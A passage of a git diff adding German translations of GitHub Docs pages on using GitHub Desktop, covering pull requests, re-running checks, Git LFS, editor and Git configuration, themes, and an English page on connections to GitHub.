+## Anzeigen eines Pull Requests in {% data variables.product.prodname_desktop %}
+{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.click-pull-requests %} ![Registerkarte „Pull Requests“ im Dropdownmenü „Aktueller Branch“](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) {% data reusables.desktop.choose-pr-from-list %} ![Liste der offenen Pull Requests im Repository](/assets/images/help/desktop/click-pull-request.png)
+4. Klicke optional auf {% octicon "sync" aria-label="The sync icon" %}, um die Liste der Pull Requests zu aktualisieren.
+  ![Schaltfläche „Synchronisieren“ für die Aktualisierung](/assets/images/help/desktop/pull-request-list-sync.png)
+
+## Öffnen eines Pull Requests in {% data variables.product.prodname_desktop %} aus {% data variables.product.prodname_dotcom %}
+{% data reusables.repositories.sidebar-pr %}
+2. Klicke in der Liste der Pull Requests auf den Pull Request, den du in {% data variables.product.prodname_desktop %} öffnen möchtest.
+3. Klicke rechts neben dem Titel des Pull Requests auf das Dropdownmenü **Öffnen mit** und dann auf die Schaltfläche **In Desktop öffnen**.
+  ![Schaltfläche „In Desktop öffnen“](/assets/images/help/desktop/open-pr-in-desktop-button.png)
diff --git a/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md
new file mode 100644
index 0000000000..c9d99b516a
--- /dev/null
+++ b/translations/de-DE/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md
@@ -0,0 +1,30 @@
+---
+title: Anzeigen und erneutes Ausführen von Überprüfungen in GitHub Desktop
+shortTitle: Viewing and re-running checks
+intro: 'Du kannst den Status der Prüfungen anzeigen und diese in {% data variables.product.prodname_desktop %} erneut ausführen.'
+versions:
+  fpt: '*'
+ms.openlocfilehash: d763dc4e4b30844b905b4e601df6c9cb500c8094
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147068021'
+---
+## Informationen zu Überprüfungen in {% data variables.product.prodname_desktop %}
+
+{% data variables.product.prodname_desktop %} zeigt den Status von Überprüfungen an, die in deinen Pull-Request-Branches ausgeführt werden. Der Überprüfungsbadge neben dem Branchnamen zeigt die Status *Ausstehend, Erfolgreich* oder *Fehlgeschlagen* für die Überprüfung an. Du kannst auch alle, die fehlgeschlagenen oder einzelne Überprüfungen erneut ausführen, wenn du den Status der Überprüfungen in {% data variables.product.prodname_desktop %} anzeigst. Weitere Informationen zum Einrichten von Überprüfungen in deinem Repository findest du unter [Informationen zu Statusüberprüfungen](/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks).
+
+{% data variables.product.prodname_desktop %} zeigt auch eine Systembenachrichtigung an, wenn bei Überprüfungen ein Fehler auftritt. Weitere Informationen zum Aktivieren von Benachrichtigungen findest du unter [Konfigurieren von Benachrichtigungen in GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop).
+
+## Anzeigen und erneutes Ausführen von Überprüfungen
+
+{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.click-pull-requests %} ![Registerkarte „Pull Requests“ im Dropdownmenü „Aktueller Branch“](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) {% data reusables.desktop.choose-pr-from-list %} ![Liste aller offenen Pull Requests im Repository](/assets/images/help/desktop/click-pull-request.png)
+4. Klicke auf die Nummer des Pull Requests rechts neben dem Branchnamen des Pull Requests.
+  ![Überprüfungsanzeige neben dem Branchnamen](/assets/images/help/desktop/checks-dialog.png)
+5. Klicke auf **{% octicon "sync" aria-label="The sync icon" %} Erneut ausführen** und dann auf **Fehlgeschlagene Überprüfungen erneut ausführen**, um fehlgeschlagene Überprüfungen erneut auszuführen.
+  ![Erneutes Ausführen fehlgeschlagener Überprüfungen](/assets/images/help/desktop/re-run-failed-checks.png)
+6. Zeige zum erneuten Ausführen einzelner Überprüfungen auf die einzelne Überprüfung, die du erneut ausführen möchtest, und klicke auf das {% octicon "sync" aria-label="The sync icon" %} Symbol zum erneuten Ausführen der Überprüfung.
+  ![Erneutes Ausführen einzelner Überprüfungen](/assets/images/help/desktop/re-run-individual-checks.png)
+7. Es wird ein Bestätigungsdialogfeld mit der Zusammenfassung der Überprüfungen angezeigt, die erneut ausgeführt werden. Klicke auf **Überprüfungen erneut ausführen**, um zu bestätigen, dass du die Überprüfungen erneut ausführen möchtest.
+  ![Dialogfeld zur Bestätigung der erneuten Ausführung](/assets/images/help/desktop/re-run-confirmation-dialog.png)
diff --git a/translations/de-DE/content/desktop/index.md b/translations/de-DE/content/desktop/index.md
new file mode 100644
index 0000000000..21f57510fe
--- /dev/null
+++ b/translations/de-DE/content/desktop/index.md
@@ -0,0 +1,44 @@
+---
+title: GitHub Desktop
+shortTitle: GitHub Desktop
+intro: "Mit GitHub Desktop kannst du für Interaktionen mit GitHub statt der Befehlszeile oder eines Webbrowsers eine GUI verwenden. Mithilfe von GitHub Desktop kannst du die meisten Git-Befehle über deinen Desktop abschließen, z.\_B. Pushen in, Pullen aus und Klonen von Remoterepositorys, Zuordnen von Commits und Erstellen von Pull Requests mit visueller Bestätigung von Änderungen."
+introLinks:
+  overview: /desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop
+featuredLinks:
+  guides:
+    - /desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop
+    - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop
+    - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github
+  guideCards:
+    - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes
+    - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit
+    - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit
+    - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit
+  popular:
+    - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop
+    - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches
+    - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits
+    - /desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch
+    - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request
+    - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github
+changelog:
+  label: desktop
+  versions:
+    fpt: '*'
+layout: product-landing
+versions:
+  fpt: '*'
+topics:
+  - Desktop
+  - Repositories
+children:
+  - /installing-and-configuring-github-desktop
+  - /contributing-and-collaborating-using-github-desktop
+ms.openlocfilehash: c01564ef3eb2777fb49bd9fae0ce791c19b77e4d
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146200018'
+---
+
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md
new file mode 100644
index 0000000000..417c4c9c90
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md
@@ -0,0 +1,25 @@
+---
+title: Informationen zu Git Large File Storage und GitHub Desktop
+shortTitle: About Git LFS
+intro: '{% data variables.product.prodname_desktop %} enthält {% data variables.large_files.product_name_long %} zum Verwalten großer Dateien.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/about-git-large-file-storage-and-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: 68f03ff9a52dce73fead084ab728f20e93524e96
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105304'
+---
+Wenn du {% data variables.product.prodname_desktop %} installierst, wird auch {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) installiert. {% data variables.large_files.product_name_short %} ermöglicht das Pushen von Dateien in {% data variables.product.prodname_dotcom %}, die den normalen Grenzwert von {% data variables.large_files.max_github_size %} überschreiten. Weitere Informationen zu {% data variables.large_files.product_name_short %} findest du unter [Informationen zu {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage).
+
+Um {% data variables.large_files.product_name_short %} mit {% data variables.product.prodname_desktop %} zu verwenden, musst du {% data variables.large_files.product_name_short %} über die Befehlszeile konfigurieren. Weitere Informationen findest du unter [Konfigurieren von {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage).
+
+Nachdem du {% data variables.large_files.product_name_short %} für das Nachverfolgen von Dateien in einem Repository konfiguriert hast, kannst du große Dateien nahtlos in {% data variables.product.prodname_desktop %} verwalten und darauf zugreifen, genau wie jede andere Datei im Repository.
+
+## Weiterführende Themen
+- [Arbeiten mit großen Dateien](/github/managing-large-files/working-with-large-files)
+- [Versionierung von großen Dateien](/github/managing-large-files/versioning-large-files)
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md
new file mode 100644
index 0000000000..f9a4f1db68
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md
@@ -0,0 +1,97 @@
+---
+title: Standardmäßigen Editor konfigurieren
+intro: 'Du kannst GitHub Desktop so konfigurieren, dass Dateien in deinem Projekt mit deinem bevorzugten Text-Editor oder der integrierten Entwicklungsumgebung (IDE) geöffnet werden.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/configuring-a-default-editor
+  - /desktop/installing-and-configuring-github-desktop/configuring-a-default-editor
+versions:
+  fpt: '*'
+shortTitle: Configure default editor
+ms.openlocfilehash: 4316ed1b37b67e606f702cc4df805908b60c09cd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146736613'
+---
+## Unterstützte Editoren
+
+{% data variables.product.prodname_desktop %} unterstützt die folgenden Editoren:
+
+{% mac %}
+
+- [Atom](https://atom.io/)
+- [MacVim](https://macvim-dev.github.io/macvim/)
+- [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/)
+- [Visual Studio Codium](https://vscodium.com/)
+- [Sublime Text](https://www.sublimetext.com/)
+- [BBEdit](http://www.barebones.com/products/bbedit/)
+- [JetBrains WebStorm](https://www.jetbrains.com/webstorm/)
+- [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/)
+- [JetBrains Rider](https://www.jetbrains.com/rider/)
+- [JetBrains PyCharm](https://www.jetbrains.com/pycharm/)
+- [JetBrains RubyMine](https://www.jetbrains.com/rubymine/)
+- [JetBrains IntelliJ IDEA](https://www.jetbrains.com/idea/)
+- [JetBrains GoLand](https://www.jetbrains.com/go/)
+- [TextMate](https://macromates.com/)
+- [Klammern](http://brackets.io/)
+  - Um Brackets mit {% data variables.product.prodname_desktop %} zu verwenden, musst du die Befehlszeilenverknüpfung installieren. Öffne hierzu Brackets, klicke in der Menüleiste auf **Datei** und dann auf **Befehlszeilenverknüpfung installieren**.
+- [Typora](https://typora.io/)
+- [CodeRunner](https://coderunnerapp.com/)
+- [SlickEdit](https://www.slickedit.com/)
+- [Xcode](https://developer.apple.com/xcode/)
+- [RStudio](https://rstudio.com/)
+- [Nova](https://nova.app/)
+- [Android Studio](https://developer.android.com/studio)
+- [Aptana Studio](http://www.aptana.com/)
+
+{% endmac %}
+
+{% windows %}
+
+- [Atom](https://atom.io/)
+- [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/)
+- [Visual Studio Codium](https://vscodium.com/)
+- [Sublime Text](https://www.sublimetext.com/)
+- [ColdFusion Builder](https://www.adobe.com/products/coldfusion-builder.html)
+- [Typora](https://typora.io/)
+- [SlickEdit](https://www.slickedit.com/)
+- [JetBrains IntelliJ Idea](https://www.jetbrains.com/idea/)
+- [JetBrains WebStorm](https://www.jetbrains.com/webstorm/)
+- [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/)
+- [JetBrains Rider](https://www.jetbrains.com/rider/)
+- [JetBrains CLion](https://www.jetbrains.com/clion/)
+- [JetBrains PyCharm](https://www.jetbrains.com/pycharm/)
+- [JetBrains RubyMine](https://www.jetbrains.com/rubymine/)
+- [JetBrains GoLand](https://www.jetbrains.com/go/)
+- [Android Studio](https://developer.android.com/studio)
+- [Klammern](http://brackets.io/)
+- [Editor (Notepad++)](https://notepad-plus-plus.org/)
+- [RStudio](https://rstudio.com/)
+- [Aptana Studio](http://www.aptana.com/)
+
+{% endwindows %}
+
+## Standardmäßigen Editor konfigurieren
+
+{% mac %}
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+3. Wähle im Fenster „Einstellungen“ die Option **Integrationen** aus.
+  ![Der Bereich „Integrationen“ im Fenster „Einstellungen“](/assets/images/help/desktop/mac-select-integrations-pane.png)
+4. Wähle im Dropdownmenü „Externer Editor“ den Editor aus, den du als Standard-Editor festlegen möchtest.
+  ![Das Menü „Externer Editor“ in der Menüleiste „Einstellungen“](/assets/images/help/desktop/mac-editor-menu.png)
+5. Klicken Sie auf **Speichern**.  
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-choose-options %}
+3. Wähle im Fenster „Optionen“ die Option **Integrationen** aus.
+  ![Der Bereich „Integrationen“ im Fenster „Optionen“](/assets/images/help/desktop/windows-select-integrations-pane.png)
+4. Wähle im Dropdownmenü „Externer Editor“ den Editor aus, den du als Standard-Editor festlegen möchtest.
+  ![Das Menü „Externer Editor“ in der Menüleiste „Optionen“](/assets/images/help/desktop/windows-editor-menu.png)
+5. Klicken Sie auf **Speichern**.  
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md
new file mode 100644
index 0000000000..4bf9c466b2
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md
@@ -0,0 +1,33 @@
+---
+title: Grundlegende Einstellungen konfigurieren
+intro: 'Du kannst auf Einstellungen zugreifen, um Deine Privatsphäre zu schützen, um Konten mit GitHub Desktop zu verbinden und um Git zu konfigurieren.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/configuring-basic-settings
+  - /desktop/installing-and-configuring-github-desktop/configuring-basic-settings
+versions:
+  fpt: '*'
+shortTitle: Configure basic settings
+ms.openlocfilehash: b5de8829e25c61ff0141fb951025e6d2c338e64b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145105303'
+---
+{% mac %}
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+3. Du kannst zwischen den folgenden Bereichen wechseln, um deine Einstellungen anzuzeigen oder zu ändern: ![Die Navigation im Menü „Voreinstellungen“](/assets/images/help/desktop/mac-select-accounts-pane.png) {% data reusables.desktop.preferences-options-tabs %}
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-choose-options %}
+2. Du kannst zwischen den folgenden Bereichen wechseln, um deine Einstellungen anzuzeigen oder zu ändern: ![Die Navigation im Menü „Optionen“](/assets/images/help/desktop/windows-select-accounts-pane.png) {% data reusables.desktop.preferences-options-tabs %}
+
+{% endwindows %}
+
+## Weitere Informationsquellen
+
+- [Festlegen eines Designs für {% data variables.product.prodname_desktop %}](/desktop/guides/getting-started-with-github-desktop/setting-a-theme-for-github-desktop)
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md
new file mode 100644
index 0000000000..18f25efd22
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md
@@ -0,0 +1,98 @@
+---
+title: Git für GitHub Desktop konfigurieren
+shortTitle: Configuring Git
+intro: 'Du kannst Git-Konfigurationseinstellungen für deine lokalen Repositorys mit {% data variables.product.prodname_desktop %} verwalten.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/configuring-git-for-github-desktop
+versions:
+  fpt: '*'
+ms.openlocfilehash: f14b309dcc7a4c779e9debb68f3962dfd38247cd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146058516'
+---
+## Informationen zur Git-Konfiguration für {% data variables.product.prodname_desktop %}
+
+{% data variables.product.prodname_desktop %} verwendet deine lokalen Git-Konfigurationseinstellungen und bietet die Möglichkeit, einige dieser Einstellungen zu konfigurieren, z. B. die globalen Informationen zum Autor und den Standardbranch, der beim Erstellen eines neuen Repositorys verwendet wird.
+
+Mit {% data variables.product.prodname_desktop %} kannst du den Namen und die E-Mail-Adresse festlegen, die du mit den Commits verknüpfen möchtest, die du in deinen Repositorys durchführst. Wenn dein Name und deine E-Mail-Adresse bereits in der globalen Git-Konfiguration für deinen Computer festgelegt sind, erkennt {% data variables.product.prodname_desktop %} diese Werte und verwendet sie. Mit {% data variables.product.prodname_desktop %} kannst du auch einen anderen Namen und eine andere E-Mail-Adresse für ein einzelnes Repository festlegen. Dies ist nützlich, wenn du eine separate geschäftliche E-Mail-Adresse für ein bestimmtes Repository verwenden musst.
+
+Wenn die in deiner Git-Konfiguration festgelegte E-Mail-Adresse nicht mit einer E-Mail-Adresse übereinstimmt, die mit dem {% data variables.product.product_name %}-Konto verknüpft ist, bei dem du derzeit angemeldet bist, zeigt {% data variables.product.prodname_desktop %} vor dem Committen eine Warnung an.
+
+Mit {% data variables.product.prodname_desktop %} kannst du auch den Namen des Standardbranchs ändern, den du beim Erstellen neuer Repositorys verwenden möchtest. Standardmäßig verwendet {% data variables.product.prodname_desktop %} in allen neuen Repositorys, die du erstellst, `main` als Namen des Standardbranchs.
+
+{% tip %}
+
+**Tipp**: Wenn du öffentliche Commits übermittelst, können alle Personen die E-Mail-Adresse in deiner Git-Konfiguration sehen. Weitere Informationen findest du unter [Festlegen der Commit-E-Mail-Adresse](/articles/setting-your-commit-email-address/).
+
+{% endtip %}
+
+## Konfigurieren deiner globalen Autoreninformationen
+
+Wenn du deine globalen Autoreninformationen in {% data variables.product.prodname_desktop %} konfigurierst, werden der Name und die E-Mail-Adresse in deiner globalen Git-Konfiguration aktualisiert. Dies sind der Standardname und die E-Mail-Adresse für alle neuen lokalen Repositorys, die du in {% data variables.product.prodname_desktop %} erstellst.
+
+{% mac %}
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+7. Klicke im Fenster „Einstellungen“ auf **Git**.
+  ![Der Git-Bereich im Menü „Einstellungen“](/assets/images/help/desktop/mac-select-git-pane.png) {% data reusables.desktop.name-field-git-config %} ![Das Namensfeld der Git-Konfiguration](/assets/images/help/desktop/mac-name-git-config.png) {% data reusables.desktop.select-email-git-config %} ![Auswählen der E-Mail-Adresse im Git-Konfigurationsfeld](/assets/images/help/desktop/mac-email-git-config.png) {% data reusables.desktop.click-save-git-config %} ![Schaltfläche „Speichern“ im Git-Konfigurationsfeld](/assets/images/help/desktop/mac-save-git-config.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-choose-options %}
+8. Klicke im Fenster „Optionen“ auf **Git**.
+![Der Git-Bereich im Menü „Optionen“](/assets/images/help/desktop/windows-select-git-pane.png) {% data reusables.desktop.name-field-git-config %} ![Das Namensfeld der Git-Konfiguration](/assets/images/help/desktop/windows-name-git-config.png) {% data reusables.desktop.select-email-git-config %} ![Auswählen der E-Mail-Adresse im Git-Konfigurationsfeld](/assets/images/help/desktop/windows-email-git-config.png) {% data reusables.desktop.click-save-git-config %} ![Schaltfläche „Speichern“ im Git-Konfigurationsfeld](/assets/images/help/desktop/windows-save-git-config.png)
+
+{% endwindows %}
+
+## Konfigurieren unterschiedlicher Autoreninformationen für ein einzelnes Repository
+
+Du kannst den Namen und die E-Mail-Adresse ändern, die zum Erstellen von Commits in einem bestimmten Repository verwendet werden. Diese lokale Git-Konfiguration überschreibt deine globalen Git-Konfigurationseinstellungen nur für dieses Repository.
+
+{% mac %}
+
+{% data reusables.desktop.mac-repository-settings-menu %} {% data reusables.desktop.select-git-config %} {% data reusables.desktop.use-local-git-config %} {% data reusables.desktop.local-config-name %} {% data reusables.desktop.local-config-email %} {% data reusables.desktop.repository-settings-save %}
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-repository-settings-menu %} {% data reusables.desktop.select-git-config %} {% data reusables.desktop.use-local-git-config %} {% data reusables.desktop.local-config-name %} {% data reusables.desktop.local-config-email %} {% data reusables.desktop.repository-settings-save %}
+
+{% endwindows %}
+
+
+## Konfigurieren des Standardbranchs für neue Repositorys
+
+Du kannst den Standardbranch konfigurieren, der beim Erstellen eines neuen Repositorys in {% data variables.product.prodname_desktop %} verwendet wird. Weitere Informationen zum Standardbranch findest Du unter [Informationen zum Standardbranch](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch).
+
+{% mac %}
+
+{% data reusables.desktop.mac-select-desktop-menu %}
+1. Klicke im Fenster „Einstellungen“ auf **Git**.
+  ![Der Bereich „Git“ im Menü „Voreinstellungen“](/assets/images/help/desktop/mac-select-git-pane.png)
+1. Wähle unter „Standardbranchname für neue Repositorys“ den Standardbranchnamen aus, den du verwenden möchtest, oder wähle zur Eingabe eines benutzerdefinierten Namens „Sonstige...“ aus.
+  ![Optionen zur Auswahl des Standardbranchnamens](/assets/images/help/desktop/mac-select-default-branch-name.png) {% data reusables.desktop.click-save-git-config %} ![Schaltfläche „Speichern“ im Git-Konfigurationsfeld](/assets/images/help/desktop/repository-settings-git-config-save.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-choose-options %}
+1. Klicke im Fenster „Optionen“ auf **Git**.
+  ![Der Bereich „Git“ im Menü „Optionen“](/assets/images/help/desktop/windows-select-git-pane.png)
+1. Wähle unter „Standardbranchname für neue Repositorys“ den Standardbranchnamen aus, den du verwenden möchtest, oder wähle zur Eingabe eines benutzerdefinierten Namens „Sonstige...“ aus.
+  ![Optionen zur Auswahl des Standardbranchnamens](/assets/images/help/desktop/windows-select-default-branch-name.png) {% data reusables.desktop.click-save-git-config %} ![Schaltfläche „Speichern“ im Git-Konfigurationsfeld](/assets/images/help/desktop/repository-settings-git-config-save.png)
+
+{% endwindows %}
+
+## Weiterführende Themen
+
+- [Hinzufügen einer E-Mail-Adresse zu deinem GitHub-Konto](/articles/adding-an-email-address-to-your-github-account/)
+- [E-Mail-Adresse für Commits festlegen](/articles/setting-your-commit-email-address/)
+- [Informationen zu Branches](/github/collaborating-with-issues-and-pull-requests/about-branches)
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md
new file mode 100644
index 0000000000..5586c89e0f
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/index.md
@@ -0,0 +1,22 @@
+---
+title: GitHub Desktop konfigurieren und anpassen
+intro: 'Richte Git ein, binde Deinen Standard-Editor ein und passe die Einstellungen an, so dass GitHub Desktop mit Deinem Workflow harmoniert.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/configuring-and-customizing-github-desktop
+versions:
+  fpt: '*'
+children:
+  - /configuring-git-for-github-desktop
+  - /configuring-basic-settings
+  - /configuring-a-default-editor
+  - /setting-a-theme-for-github-desktop
+  - /about-git-large-file-storage-and-github-desktop
+shortTitle: Configure & customize
+ms.openlocfilehash: d4c2bd3566eafc1dbf34283c078ac077c5db5362
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105296'
+---
+
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md
new file mode 100644
index 0000000000..e132ebf88e
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop.md
@@ -0,0 +1,27 @@
+---
+title: Design für GitHub Desktop festlegen
+intro: 'Du kannst ein Design festlegen, um das Erscheinungsbild von GitHub-Desktop anzupassen.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/setting-a-theme-for-github-desktop
+  - /desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop
+versions:
+  fpt: '*'
+shortTitle: Set a theme
+ms.openlocfilehash: 032f6e4ddaebfe9b284cb9599f3fcb80a76483da
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105295'
+---
+{% mac %}
+
+{% data reusables.desktop.mac-select-desktop-menu %} {% data reusables.desktop.choose-a-theme %} ![Die Designoptionen auf der Registerkarte „Appearance“ (Darstellung) für Mac](/assets/images/help/desktop/mac-appearance-tab-themes.png)
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.desktop.windows-choose-options %} {% data reusables.desktop.choose-a-theme %} ![Die Designoptionen auf der Registerkarte „Appearance“ (Darstellung) für Windows](/assets/images/help/desktop/windows-appearance-tab-themes.png)
+
+{% endwindows %}
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/index.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/index.md
new file mode 100644
index 0000000000..d421f80950
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/index.md
@@ -0,0 +1,20 @@
+---
+title: GitHub Desktop installieren und konfigurieren
+shortTitle: Installing and configuring
+intro: 'Rufe {% data variables.product.prodname_desktop %} auf, um deine Projektarbeit einzurichten. Authentifiziere dich bei {% data variables.product.prodname_dotcom_the_website %} oder {% data variables.product.prodname_enterprise %}, halte die App auf dem neuesten Stand, und überprüfe deine bevorzugten Einstellungen.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop
+versions:
+  fpt: '*'
+children:
+  - /overview
+  - /installing-and-authenticating-to-github-desktop
+  - /configuring-and-customizing-github-desktop
+ms.openlocfilehash: b37cd3848a8d80dd8365987cb01ea1578eac45b8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105291'
+---
+
diff --git a/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md
new file mode 100644
index 0000000000..b550521342
--- /dev/null
+++ b/translations/de-DE/content/desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/about-connections-to-github.md
@@ -0,0 +1,18 @@
+---
+title: About connections to GitHub
+intro: '{% data variables.product.prodname_desktop %} uses HTTPS to securely exchange data with {% data variables.product.prodname_dotcom %}.'
+redirect_from:
+  - /desktop/getting-started-with-github-desktop/about-connections-to-github
+  - /desktop/installing-and-configuring-github-desktop/about-connections-to-github
+versions:
+  fpt: '*'
+shortTitle: About connections
+---
+{% data variables.product.prodname_desktop %} connects to {% data variables.product.prodname_dotcom %} when you pull from, push to, clone, and fork remote repositories. To connect to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %}, you must authenticate your account. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)."
+
+After you authenticate to {% data variables.product.prodname_dotcom %}, you can connect to remote repositories with {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} caches your credentials (username and password or {% data variables.product.pat_generic %}) and uses the credentials to authenticate for each connection to the remote repository.
+
